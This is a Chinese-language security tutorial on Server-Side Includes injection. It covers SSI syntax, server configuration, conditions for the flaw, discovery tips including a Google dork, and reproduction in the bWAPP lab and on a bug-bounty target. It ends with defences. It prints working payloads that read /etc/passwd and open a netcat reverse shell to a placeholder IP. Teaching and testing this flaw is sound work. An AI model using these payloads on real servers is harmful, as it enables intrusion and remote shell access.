SSI 注入全稱Server-Side Includes Injection,即服務端包含注入。SSI 是類似于 CGI,用于動態頁面的指令。SSI 注入允許遠程在 Web 應用中注入腳本來執行代碼。
SSI是嵌入html頁面中的指令,在頁面被提供時由服務器進行運算,以對現有HTML頁面增加動態生成的內容,而無須通過CGI程序提供其整個頁面,或者使用其他動態技術。
從技術角度上來說,SSI就是在HTML文件中,可以通過注釋行調用的命令或指針,即允許通過在HTML頁面注入腳本或遠程執行任意代碼。
1.1 啟用SSI
**示例:Nginx 配置SSI功能**
在http段中加入下面幾句即可:
ssi on;
ssi_silent_errors off;
ssi_types text/shtml;
默認Apache不開啟SSI,SSI這種技術已經比較少用了。如果應用沒有使用到SSI,關閉服務器對SSI的支持即可。
IIS和Apache都可以開啟SSI功能,具體可參考:Apache、Nginx 服務配置服務器端包含(SSI)
1.2 SSI語法
首先,介紹下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此時服務器會將SHTML中包含的SSI指令解釋,再傳送給客戶端,此時的HTML中就不再有SSI指令了。比如說框架是固定的,但是里面的文章,其他菜單等即可以用#include引用進來。
①顯示服務器端環境變量<#echo>
本文檔名稱:
<!–#echo var="DOCUMENT_NAME"–>
現在時間:
<!–#echo var="DATE_LOCAL"–>
顯示IP地址:
<! #echo var="REMOTE_ADDR"–>
②將文本內容直接插入到文檔中<#include>
<! #include file="文件名稱"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名稱"–>
<!--#include virtual="/www/footer.html" -->
注:file包含文件可以在同一級目錄或其子目錄中,但不能在上一級目錄中,virtual包含文件可以是Web站點上的虛擬目錄的完整路徑
③顯示WEB文檔相關信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<! #flastmod file="文件名稱"–>
文件的長度:
<!–#fsize file="文件名稱"–>
④直接執行服務器上的各種程序<#exec>(如CGI或其他可執行程序)
<!–#exec cmd="文件名稱"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名稱"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
將某一外部程序的輸出插入到頁面中??刹迦隒GI程序或者是常規應用程序的輸入,這取決于使用的參數是cmd還是cgi。
⑤設置SSI信息顯示格式<#config>(如文件制作日期/大小顯示方式)
⑥高級SSI可設置變量使用if條件語句。
0x02 漏洞場景
在很多業務中,用戶輸入的內容會顯示在頁面中。比如,一個存在反射型XSS漏洞的頁面,如果輸入的payload不是XSS代碼而是SSI的標簽,同時服務器又開啟了對SSI的支持的話就會存在SSI漏洞。
從定義中看出,頁面中有一小部分是動態輸出的時候使用SSI,比如:
- 文件相關的屬性字段
- 當前時間
- 訪客IP
- 調用CGI程序
0x03 SSI注入的條件
當符合下列條件時,攻擊者可以在 Web 服務器上運行任意命令:
- Web 服務器已支持SSI(服務器端包含)
- Web 應用程序未對對相關SSI關鍵字做過濾
- Web 應用程序在返回響應的HTML頁面時,嵌入用戶輸入
SSI注入常用命令:[Server-Side Includes (SSI) Injection]
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
0x04 SSI挖掘思路
兩個思路:
- 從業務場景來Fuzz,比如獲取IP、定位、時間等
- 識別頁面是否包含.stm,.shtm和.shtml后綴
- 伏特分布式漏洞掃描平臺已經全面支持SSI檢測。
google dork:'inurl:bin/cklb'
0x05 SSI漏洞復現
5.1 本地測試
我們使用bWApp來做漏洞演示環境
選擇:'Server-Side Includes (SSI) Injection'

SSI注入

BP截圖
成功執行了代碼。
再使用下exec指令使用cmd作為參數執行服務器端命令:'<!--#exec cmd="ls -al"-->'

使用exec執行服務端端命令
5.2 漏洞挖掘
運氣好,剛好遇到個某SRC的。
"-->'-->`--><<!--#exec cmd="cat /etc/passwd"-->
執行命令

獲取服務器端配置信息
"-->'-->`--><<!--#exec cmd="nc x.x.x.x 9090 -e /bin/bash"-->
反彈shell

執行反彈shell
0x06 SSI防御
- 關閉服務器SSI功能
- 過濾相關SSI特殊字符(`<,>,#,-,",'`)
喜歡安全的朋友,可以關注并轉發,私信我交流討論